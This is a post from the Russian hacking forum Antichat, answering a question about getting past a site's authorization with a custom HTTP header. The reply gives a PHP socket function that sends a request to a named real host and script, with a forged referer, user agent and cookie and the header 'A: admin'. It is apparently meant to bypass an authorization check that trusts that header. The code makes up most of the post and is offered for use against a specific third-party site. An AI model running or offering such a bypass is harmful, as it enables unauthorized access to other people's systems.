Форум АНТИЧАТ - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

Цитата:

Сообщение от Zilt0

с помощью Acunetix Web Vulnerability - Http editor, добавляю заголовок HTTP_A, но авторизация не проходит,
может я не то делаю?

надо не HTTP_A, а A.

вот на php пример

PHP код:


		
			
echo get('www.entropy.ch', '/software/MacOSX/php/test.php', 'http://google.com/', 'firefox', '');

function get($hostname, $path, $ref, $ua, $cook)

{

    $line="";

    $fp=fsockopen($hostname, 80, $errno, $errstr, 60);

    

        if(!$fp) echo $errstr($errno);

            else

            {

                $headers = "GET $path HTTP/1.1\r\n";

                $headers .="Host: $hostname\r\n";

                $headers .="User-Agent: $ua\r\n";

                $headers .= "Accept-Language: en,en-US;q=0.9,en;q=0.8\r\n";

                $headers .= "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\n";

                $headers .="Cookie: $cook\r\n";

                $headers .="A: admin\r\n";

                $headers .="Connection: Close\r\n";

                $headers .="Referer: $ref\r\n\r\n";

                

                fwrite($fp, $headers);

                



                    while(!feof($fp)){

                            

                        $line .= fgets($fp, 1024);

                    }

                

                fclose($fp);

            }



    return $line;

}